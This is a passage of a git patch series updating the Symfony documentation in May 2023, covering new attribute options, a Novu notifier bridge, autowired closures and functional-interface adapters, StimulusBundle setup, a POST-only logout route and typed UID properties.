diff --git a/doctrine.rst b/doctrine.rst
index d84b20f6583..164ed72ed09 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -784,13 +784,13 @@ control behavior:
     If true, then when ``findOneBy()`` is used, any values that are
     ``null`` will not be used for the query.
 
-``entityManager``
+``objectManager``
     By default, the ``EntityValueResolver`` uses the *default*
-    entity manager, but you can configure this::
+    object manager, but you can configure this::
 
         #[Route('/product/{id}')]
         public function show(
-            #[MapEntity(entityManager: ['foo'])]
+            #[MapEntity(objectManager: 'foo')]
             Product $product
         ): Response {
         }

From fee66c0fb88044a3b433720190f4926ea3f42572 Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <j.dreesen@neusta.de>
Date: Wed, 24 May 2023 10:01:51 +0200
Subject: [PATCH 4662/7107] Fix code block

---
 lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lock.rst b/lock.rst
index 3e93173aedc..8d5dc62617f 100644
--- a/lock.rst
+++ b/lock.rst
@@ -281,7 +281,7 @@ case version of its name suffixed by ``LockFactory``.
 
 For instance, the ``invoice`` lock can be injected by naming the argument
 ``$invoiceLockFactory`` and type-hinting it with
-:class:`Symfony\\Component\\Lock\\LockFactory`:
+:class:`Symfony\\Component\\Lock\\LockFactory`::
 
     // src/Controller/PdfController.php
     namespace App\Controller;

From dcdf4a1328a5872763026f2c81f5e69a85591a7c Mon Sep 17 00:00:00 2001
From: Wouter van der Loop <woutervdl@toppy.nl>
Date: Wed, 24 May 2023 13:45:16 +0200
Subject: [PATCH 4663/7107] [Notifier] Add Novu Notifier Bridge

---
 notifier.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 0480405cc4a..08b7c08fbce 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -425,6 +425,7 @@ Service          Package                               DSN
 ===============  ====================================  ==============================================================================
 `Engagespot`_    ``symfony/engagespot-notifier``       ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 `Expo`_          ``symfony/expo-notifier``             ``expo://Token@default``
+`Novu`_          ``symfony/novu-notifier``             ``novu://API_KEY@default``
 `OneSignal`_     ``symfony/one-signal-notifier``       ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
 `PagerDuty`_     ``symfony/pager-duty-notifier``       ``pagerduty://TOKEN@SUBDOMAIN``
 `Pushover`_      ``symfony/pushover-notifier``         ``pushover://USER_KEY:APP_TOKEN@default``
@@ -438,6 +439,10 @@ Service          Package                               DSN
 
     The PagerDuty and Pushover integrations were introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The Novu integration was introduced in Symfony 6.4.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -998,6 +1003,7 @@ is dispatched. Listeners receive a
 .. _`MicrosoftTeams`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MicrosoftTeams/README.md
 .. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
 .. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
+.. _`Novu`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Novu/README.md
 .. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
 .. _`OneSignal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OneSignal/README.md
 .. _`OrangeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OrangeSms/README.md

From ed6c5a20578afe2977e2a88804691df504659de6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 22 May 2023 16:01:17 +0200
Subject: [PATCH 4664/7107] [HttpKernel] Add customization options to
 `#[MapQueryString]` and `#[MapRequestPayload]`

---
 controller.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/controller.rst b/controller.rst
index db3e635a8fa..1f88729204d 100644
--- a/controller.rst
+++ b/controller.rst
@@ -430,6 +430,16 @@ attribute in your controller::
         // ...
     }
 
+You can customize the validation groups used during the mapping thanks to the
+``validationGroups`` option::
+
+    public function dashboard(
+        #[MapQueryString(validationGroups: ['strict', 'edit'])] UserDTO $userDto
+    ): Response
+    {
+        // ...
+    }
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute
@@ -482,6 +492,16 @@ your DTO::
         // ...
     }
 
+You can also customize the validation groups used as well as supported
+payload formats::
+
+    public function dashboard(
+        #[MapRequestPayload(acceptFormat: 'json', validationGroups: ['strict', 'read'])] UserDTO $userDto
+    ): Response
+    {
+        // ...
+    }
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload` attribute

From 0cc61f75d762244e14c4267fa4e3d8b111c207dd Mon Sep 17 00:00:00 2001
From: Terence Eden <edent@users.noreply.github.com>
Date: Sun, 21 May 2023 21:03:46 +0100
Subject: [PATCH 4665/7107] Update error_pages.rst

I couldn't find any explicit documentation about `{{ exception.message }}`

This adds it in and provides a link to to class so that readers can find the other methods available.
---
 controller/error_pages.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 7ccb05cdf65..5cad96b742c 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -114,10 +114,14 @@ store the HTTP status code and message respectively.
     and its required ``getStatusCode()`` method. Otherwise, the ``status_code``
     will default to ``500``.
 
-Additionally you have access to the Exception with ``exception``, which for example
-allows you to output the stack trace using ``{{ exception.traceAsString }}`` or
-access any other method on the object. You should be careful with this though,
-as this is very likely to expose sensitive data.
+Additionally you have access to the Exception with ``exception``.
+This allows you to access any method of :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`.
+For example, if an exception message has been set, using 
+``throw $this->createNotFoundException('The product does not exist');``,
+this can be accessed with ``{{ exception.message }}``.
+You can output the stack trace using ``{{ exception.traceAsString }}`` 
+You should be careful with this though, as it is very likely to expose 
+sensitive data.
 
 .. tip::
 

From 93a056bb231c8f033f2b0c8117c3b518b3909f9d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 May 2023 15:31:49 +0200
Subject: [PATCH 4666/7107] Tweaks

---
 controller/error_pages.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 5cad96b742c..56f8e60a408 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -114,14 +114,12 @@ store the HTTP status code and message respectively.
     and its required ``getStatusCode()`` method. Otherwise, the ``status_code``
     will default to ``500``.
 
-Additionally you have access to the Exception with ``exception``.
-This allows you to access any method of :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`.
-For example, if an exception message has been set, using 
-``throw $this->createNotFoundException('The product does not exist');``,
-this can be accessed with ``{{ exception.message }}``.
-You can output the stack trace using ``{{ exception.traceAsString }}`` 
-You should be careful with this though, as it is very likely to expose 
-sensitive data.
+Additionally you have access to the :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`
+object via the ``exception`` Twig variable. For example, if the exception sets a
+message (e.g. using ``throw $this->createNotFoundException('The product does not exist')``),
+use ``{{ exception.message }}`` to print that message. You can also output the
+stack trace using ``{{ exception.traceAsString }}``, but don't do that for end
+users because the trace contains sensitive data.
 
 .. tip::
 

From ace8e03ba10092fff16f738cc3631916c410b0f9 Mon Sep 17 00:00:00 2001
From: Allison Guilhem <allison.guilhem@gmail.com>
Date: Wed, 1 Feb 2023 09:08:53 +0100
Subject: [PATCH 4667/7107] [HttpFoundation] update doc creation session table

---
 session.rst | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/session.rst b/session.rst
index b1da1a9a0eb..a399cff2796 100644
--- a/session.rst
+++ b/session.rst
@@ -880,7 +880,13 @@ Preparing the Database to Store Sessions
 ........................................
 
 Before storing sessions in the database, you must create the table that stores
-the information. The session handler provides a method called
+the information.
+
+With Doctrine installed, the session table will be automatically generated when
+you run the make:migration command if the database targeted by doctrine is identical to
+the one used by this component.
+
+Or if you prefer to create the table yourself and the table has not already been created, the session handler provides a method called
 :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::createTable`
 to set up this table for you according to the database engine used::
 
@@ -890,7 +896,9 @@ to set up this table for you according to the database engine used::
         // the table could not be created for some reason
     }
 
-If you prefer to set up the table yourself, it's recommended to generate an
+If the table already exists an exception will be thrown.
+
+If you would rather set up the table yourself, it's recommended to generate an
 empty database migration with the following command:
 
 .. code-block:: terminal
@@ -904,6 +912,10 @@ file and run the migration with the following command:
 
     $ php bin/console doctrine:migrations:migrate
 
+If needed, you can also add this table to your schema by calling
+:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::configureSchema` method
+in your code.
+
 .. _mysql:
 
 MariaDB/MySQL

From 4f56d81f7e27fe81b7fa13d6fd7ed2f8c3cc6295 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 25 May 2023 09:52:39 +0200
Subject: [PATCH 4668/7107] Tweaks

---
 session.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/session.rst b/session.rst
index a399cff2796..2945c31e846 100644
--- a/session.rst
+++ b/session.rst
@@ -883,10 +883,11 @@ Before storing sessions in the database, you must create the table that stores
 the information.
 
 With Doctrine installed, the session table will be automatically generated when
-you run the make:migration command if the database targeted by doctrine is identical to
-the one used by this component.
+you run the ``make:migration`` command if the database targeted by doctrine is
+identical to the one used by this component.
 
-Or if you prefer to create the table yourself and the table has not already been created, the session handler provides a method called
+Or if you prefer to create the table yourself and the table has not already been
+created, the session handler provides a method called
 :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::createTable`
 to set up this table for you according to the database engine used::
 
@@ -913,8 +914,8 @@ file and run the migration with the following command:
     $ php bin/console doctrine:migrations:migrate
 
 If needed, you can also add this table to your schema by calling
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::configureSchema` method
-in your code.
+:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::configureSchema`
+method in your code.
 
 .. _mysql:
 

From 1ffdcee77211e93aa7909835b22a45e555cebd23 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 25 May 2023 15:23:42 +0200
Subject: [PATCH 4669/7107] [DependencyInjection] Add support for generating
 lazy closures

---
 reference/attributes.rst               |  4 +-
 service_container.rst                  | 50 ++-----------
 service_container/autowiring.rst       | 98 ++++++++++++++++++++++++++
 service_container/service_closures.rst | 42 ++---------
 4 files changed, 110 insertions(+), 84 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 5598691682e..2cabf9de7bd 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -31,9 +31,9 @@ Dependency Injection
 * :ref:`Autoconfigure <lazy-services_configuration>`
 * :ref:`AutoconfigureTag <di-instanceof>`
 * :ref:`Autowire <autowire-attribute>`
-* :ref:`AutowireCallable <container_closure-as-argument>`
+* :ref:`AutowireCallable <autowiring_closures>`
 * :doc:`AutowireDecorated </service_container/service_decoration>`
-* :doc:`AutowireServiceClosure </service_container/service_closures>`
+* :ref:`AutowireServiceClosure <autowiring_closures>`
 * :ref:`Exclude <service-psr4-loader>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
diff --git a/service_container.rst b/service_container.rst
index c87b83d9f9f..0b7e34a947b 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -780,54 +780,14 @@ Our configuration looks like this:
             ;
         };
 
-.. versionadded:: 6.1
-
-    The ``closure`` argument type was introduced in Symfony 6.1.
-
-It is also possible to convert a callable into an injected closure
-thanks to the
-:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
-attribute. Let's say our ``MessageHashGenerator`` class now has a ``generate()``
-method::
-
-        // src/Hash/MessageHashGenerator.php
-        namespace App\Hash;
-
-        class MessageHashGenerator
-        {
-            public function generate(): string
-            {
-                // Compute and return a message hash
-            }
-        }
+.. seealso::
 
-We can inject the ``generate()`` method of the ``MessageHashGenerator``
-like this::
-
-    // src/Service/MessageGenerator.php
-    namespace App\Service;
-
-    use App\Hash\MessageHashGenerator;
-    use Psr\Log\LoggerInterface;
-    use Symfony\Component\DependencyInjection\Attribute\AutowireCallable;
+    Closures can be injected :ref:`by using autowiring <autowiring_closures>`
+    and its dedicated attributes.
 
-    class MessageGenerator
-    {
-        public function __construct(
-            private LoggerInterface $logger,
-            #[AutowireCallable(service: MessageHashGenerator::class, method: 'generate')]
-            private \Closure $generateMessageHash
-        ) {
-            // ...
-        }
-
-        // ...
-    }
-
-.. versionadded:: 6.3
+.. versionadded:: 6.1
 
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
-    attribute was introduced in Symfony 6.3.
+    The ``closure`` argument type was introduced in Symfony 6.1.
 
 .. _services-binding:
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 7775935076a..81f877e23fd 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -643,6 +643,104 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par
 
     The ``param`` and ``env`` arguments were introduced in Symfony 6.3.
 
+.. _autowiring_closures:
+
+Generate Closures With Autowiring
+---------------------------------
+
+A **service closure** is an anonymous function that returns a service. This type
+of instanciation is handy when you are dealing with lazy-loading.
+
+Automatically creating a closure encapsulating the service instanciation can be
+done with the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
+attribute::
+
+    // src/Service/Remote/MessageFormatter.php
+    namespace App\Service\Remote;
+
+    use Symfony\Component\DependencyInjection\Attribute\AsAlias;
+
+    #[AsAlias('third_party.remote_message_formatter')]
+    class MessageFormatter
+    {
+        public function __construct()
+        {
+            // ...
+        }
+
+        public function format(string $message): string
+        {
+            // ...
+        }
+    }
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use App\Service\Remote\MessageFormatter;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireServiceClosure;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[AutowireServiceClosure('third_party.remote_message_formatter')]
+            \Closure $messageFormatterResolver
+        ) {
+        }
+
+        public function generate(string $message): void
+        {
+            $formattedMessage = ($this->messageFormatterResolver)()->format($message);
+
+            // ...
+        }
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
+    attribute was introduced in Symfony 6.3.
+
+It is common that a service accepts a closure with a specific signature.
+In this case, you can use the
+:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable` attribute
+to generate a closure with the same signature as a specific method of a service. When
+this closure is called, it will pass all its arguments to the underlying service
+function::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Symfony\Component\DependencyInjection\Attribute\AutowireCallable;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[AutowireCallable(service: 'third_party.remote_message_formatter', method: 'format')]
+            \Closure $formatCallable
+        ) {
+        }
+
+        public function generate(string $message): void
+        {
+            $formattedMessage = ($this->formatCallable)($message);
+
+            // ...
+        }
+    }
+
+Finally, you can pass the ``lazy: true`` option to the
+:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable`
+attribute. By doing so, the callable will automatically be lazy, which means
+that the encapsulated service will be instantiated **only** at the
+closure's first call.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
+    attribute was introduced in Symfony 6.3.
+
 .. _autowiring-calls:
 
 Autowiring other Methods (e.g. Setters and Public Typed Properties)
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 28a1d0b0f02..53cf11850b3 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -92,45 +92,13 @@ argument of type ``service_closure``:
 
 .. seealso::
 
-    Another way to inject services lazily is via a
-    :doc:`service locator </service_container/service_subscribers_locators>`.
-
-Thanks to the
-:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
-attribute, defining a service wrapped in a closure can directly be done
-in the service class, without further configuration::
-
-    // src/Service/MyService.php
-    namespace App\Service;
-
-    use Symfony\Component\DependencyInjection\Attribute\AutowireServiceClosure;
-    use Symfony\Component\Mailer\MailerInterface;
-
-    class MyService
-    {
-        public function __construct(
-            #[AutowireServiceClosure('mailer')]
-            private \Closure $mailer
-        ) {
-        }
-
-        public function doSomething(): void
-        {
-            // ...
-
-            $this->getMailer()->send($email);
-        }
+    Service closures can be injected :ref:`by using autowiring <autowiring_closures>`
+    and its dedicated attributes.
 
-        private function getMailer(): MailerInterface
-        {
-            return ($this->mailer)();
-        }
-    }
-
-.. versionadded:: 6.3
+.. seealso::
 
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
-    attribute was introduced in Symfony 6.3.
+    Another way to inject services lazily is via a
+    :doc:`service locator </service_container/service_subscribers_locators>`.
 
 Using a Service Closure in a Compiler Pass
 ------------------------------------------

From 6957aee2b1ddaaccef25e4e4266eaa693cf2169e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 25 May 2023 17:19:58 +0200
Subject: [PATCH 4670/7107] [DependencyInjection] Add support for casting
 callables into single-method interfaces

---
 service_container.rst | 124 ++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 124 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index c87b83d9f9f..b7a9ace7f84 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1334,6 +1334,130 @@ the closure::
         // services depending on which environment you're on
     };
 
+Generating Adapters for Functional Interfaces
+---------------------------------------------
+
+Functional interfaces are interfaces with a single method.
+They are conceptually very similar to a closure except that their only method
+has a name. Moreover, they can be used as type-hints across your code.
+
+The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
+attribute can be used to generate an adapter for a functional interface.
+Let's say you have the following functional interface::
+
+    // src/Service/MessageFormatterInterface.php
+    namespace App\Service;
+
+    interface MessageFormatterInterface
+    {
+        public function format(string $message, array $parameters): string;
+    }
+
+Now, you can define a service implementing this method, among other util ones::
+
+    // src/Service/MessageFormatterInterface.php
+    namespace App\Service;
+
+    class MessageUtils
+    {
+        // other utils methods...
+
+        public function format($string $message, array $parameters): string
+        {
+            // ...
+        }
+    }
+
+We can now use ``#[AutowireCallable]`` with our ``MessageUtils`` service
+to inject our functional interface implementation::
+
+    namespace App\Service\Mail;
+
+    use App\Service\MessageFormatterInterface;
+    use App\Service\MessageUtils;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireCallable;
+
+    class Mailer
+    {
+        public function __construct(
+            #[AutowireCallable(service: MessageUtils::class, method: 'formatMessage')]
+            private MessageFormatterInterface $formatter
+        ) {
+        }
+
+        public function sendMail($string $message, array $parameters): string
+        {
+            $formattedMessage = $this->formatter->format($message, $parameters);
+
+            // ...
+        }
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
+    attribute was introduced in Symfony 6.3.
+
+Alternatively, generating an adapter for a functional interface can also
+be done through configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+
+            # ...
+
+            app.message_formatter:
+                class: App\Service\MessageFormatterInterface
+                from_callable: [!service {class: 'App\Service\MessageUtils'}, 'formatMessage']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="app.message_formatter" class="App\Service\MessageFormatterInterface">
+                    <from-callable method="formatMessage">
+                        <service class="App\Service\MessageUtils"/>
+                    </from-callable>
+                </service>
+
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Service\MessageFormatterInterface;
+        use App\Service\MessageUtils;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            $container
+                ->set('app.message_formatter', MessageFormatterInterface::class)
+                ->fromCallable([inline_service(MessageUtils::class), 'formatMessage'])
+                ->alias(MessageFormatterInterface::class, 'app.message_formatter')
+            ;
+        };
+
+By doing so, Symfony will generate a class (also called an *adapter*)
+implementing ``MessageFormatterInterface`` that will forward calls of
+``MessageFormatterInterface::format()`` to your underlying service's method
+``MessageUtils::format()``, with all its arguments.
+
 Learn more
 ----------
 

From 815b159ce016a5dff7d1c3e51f86256cf04f573d Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Fri, 26 May 2023 13:46:57 -0400
Subject: [PATCH 4671/7107] Updating UX docs to install the new StimulusBundle

---
 frontend/encore/simple-example.rst | 22 ++++++++++++----------
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index d41da8daf84..2e5043c5f83 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -5,10 +5,7 @@ After :doc:`installing Encore </frontend/encore/installation>`, your app already
 has a few files, organized into an ``assets/`` directory:
 
 * ``assets/app.js``
-* ``assets/bootstrap.js``
-* ``assets/controllers.json``
 * ``assets/styles/app.css``
-* ``assets/controllers/hello_controller.js``
 
 With Encore, think of your ``app.js`` file like a standalone JavaScript
 application: it will *require* all of the dependencies it needs (e.g. jQuery or React),
@@ -27,9 +24,6 @@ statements and create one final ``app.js`` (and ``app.css``) that contains *ever
 your app needs. Encore can do a lot more: minify files, pre-process Sass/LESS,
 support React, Vue.js, etc.
 
-The other files - ``bootstrap.js``, ``controllers.json`` and ``hello_controller.js``
-relate to a topic you'll learn about soon: `Stimulus & Symfony UX`_.
-
 Configuring Encore/Webpack
 --------------------------
 
@@ -222,10 +216,18 @@ easy to attach behavior to HTML. It's powerful, and you will love it! Symfony
 even provides packages to add more features to Stimulus. These are called the
 Symfony UX Packages.
 
-If you followed the setup instructions, you should already have Stimulus installed
-and ready to go! In fact, that's the purpose of the ``assets/bootstrap.js`` file:
-to initialize Stimulus and automatically load any "controllers" from the
-``assets/controllers/`` directory.
+To use Stimulus, first install StimulusBundle:
+
+.. code-block:: terminal
+
+    $ composer require symfony/stimulus-bundle
+
+The Flex recipe should add several files/directories:
+
+* ``assets/bootstrap.js`` - initializes Stimulus;
+* ``assets/controllers/`` - a directory where you'll put your Stimulus controllers;
+* ``assets/controllers.json`` - file that helps load Stimulus controllers form UX
+  packages that you'll install.
 
 Let's look at a simple Stimulus example. In a Twig template, suppose you have:
 

From 07c7ba942aa0f10b23baf88b9fa5c4a9e892682f Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Fri, 26 May 2023 21:11:58 +0200
Subject: [PATCH 4672/7107] Update docs about creating a UX bundle after
 stimulus bundle release

---
 frontend/create_ux_bundle.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 8bc04725bcd..095b9c6d84b 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -108,7 +108,7 @@ To use your controller in a template (e.g. one defined in your bundle) you can u
         ...
     </div>
 
-Don't forget to add ``symfony/webpack-encore-bundle:^1.12`` as a composer dependency to use
+Don't forget to add ``symfony/stimulus-bundle:^2.9`` as a composer dependency to use
 Twig ``stimulus_*`` functions.
 
 .. tip::

From 20a7e795009d942db4031ad2d8a42f972a913091 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 30 May 2023 12:01:25 +0200
Subject: [PATCH 4673/7107] [Security] Use POST method for logout route

---
 security.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 9fe3801d01b..ad62fed4ba8 100644
--- a/security.rst
+++ b/security.rst
@@ -1686,7 +1686,7 @@ Next, you need to create a route for this URL (but not a controller):
         class SecurityController extends AbstractController
         {
             /**
-             * @Route("/logout", name="app_logout", methods={"GET"})
+             * @Route("/logout", name="app_logout", methods={"POST"})
              */
             public function logout(): void
             {
@@ -1705,7 +1705,7 @@ Next, you need to create a route for this URL (but not a controller):
 
         class SecurityController extends AbstractController
         {
-            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
+            #[Route('/logout', name: 'app_logout', methods: ['POST'])]
             public function logout()
             {
                 // controller can be blank: it will never be called!
@@ -1718,7 +1718,7 @@ Next, you need to create a route for this URL (but not a controller):
         # config/routes.yaml
         app_logout:
             path: /logout
-            methods: GET
+            methods: POST
 
     .. code-block:: xml
 
@@ -1729,7 +1729,7 @@ Next, you need to create a route for this URL (but not a controller):
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <route id="app_logout" path="/logout" methods="GET"/>
+            <route id="app_logout" path="/logout" methods="POST"/>
         </routes>
 
     .. code-block:: php
@@ -1739,7 +1739,7 @@ Next, you need to create a route for this URL (but not a controller):
 
         return function (RoutingConfigurator $routes) {
             $routes->add('app_logout', '/logout')
-                ->methods(['GET'])
+                ->methods(['POST'])
             ;
         };
 

From c714cadea9e46c601b24cd95d25251b37dacaef8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 30 May 2023 13:43:48 +0200
Subject: [PATCH 4674/7107] Minor tweaks

---
 setup/flex_private_recipes.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index 14300e70258..abecdfd5039 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -32,9 +32,9 @@ the **repository name**, select the **Private** radio button, and click the
 Gitlab
 ~~~~~~
 
-Log in to your Gitlab.com account, click the **New project** button, select **Create blank project**, fill in
-the **Project name**, select the **Private** radio button, and click the
-**Create project** button.
+Log in to your Gitlab.com account, click the **New project** button, select
+**Create blank project**, fill in the **Project name**, select the **Private**
+radio button, and click the **Create project** button.
 
 Create Your Private Recipes
 ---------------------------
@@ -184,7 +184,8 @@ The ``index.json`` file has the following format:
     }
 
 Create an entry in ``"recipes"`` for each of your bundle recipes. Replace
-``your-gitlab-account-name``, ``your-gitlab-repository`` and ``your-gitlab-project-id`` with your own details.
+``your-gitlab-account-name``, ``your-gitlab-repository`` and ``your-gitlab-project-id``
+with your own details.
 
 Store Your Recipes in the Private Repository
 --------------------------------------------

From 7e8b5fe83c68cc79a295d6876d4135457b7af9cc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 30 May 2023 15:20:24 +0200
Subject: [PATCH 4675/7107] [Uuid] Add few property types

---
 components/uid.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 74458ac1717..24f4c59255b 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -236,12 +236,13 @@ type, which converts to/from UUID objects automatically::
 
     use Doctrine\ORM\Mapping as ORM;
     use Symfony\Bridge\Doctrine\Types\UuidType;
+    use Symfony\Component\Uid\Uuid;
 
     #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
         #[ORM\Column(type: UuidType::NAME)]
-        private $someProperty;
+        private Uuid $someProperty;
 
         // ...
     }
@@ -265,7 +266,7 @@ entity primary keys::
         #[ORM\Column(type: UuidType::NAME, unique: true)]
         #[ORM\GeneratedValue(strategy: 'CUSTOM')]
         #[ORM\CustomIdGenerator(class: 'doctrine.uuid_generator')]
-        private $id;
+        private ?Uuid $id;
 
         public function getId(): ?Uuid
         {
@@ -422,12 +423,13 @@ type, which converts to/from ULID objects automatically::
 
     use Doctrine\ORM\Mapping as ORM;
     use Symfony\Bridge\Doctrine\Types\UlidType;
+    use Symfony\Component\Uid\Ulid;
 
     #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
         #[ORM\Column(type: UlidType::NAME)]
-        private $someProperty;
+        private Ulid $someProperty;
 
         // ...
     }
@@ -451,7 +453,7 @@ entity primary keys::
         #[ORM\Column(type: UlidType::NAME, unique: true)]
         #[ORM\GeneratedValue(strategy: 'CUSTOM')]
         #[ORM\CustomIdGenerator(class: 'doctrine.ulid_generator')]
-        private $id;
+        private ?Ulid $id;
 
         public function getId(): ?Ulid
         {

From 472f5794d3c14ea53b6ea15be14b8aba510cf410 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 30 May 2023 16:03:27 +0200
Subject: [PATCH 4676/7107] Add property types and return types in a few places

---
 bundles/best_practices.rst                    |  2 +-
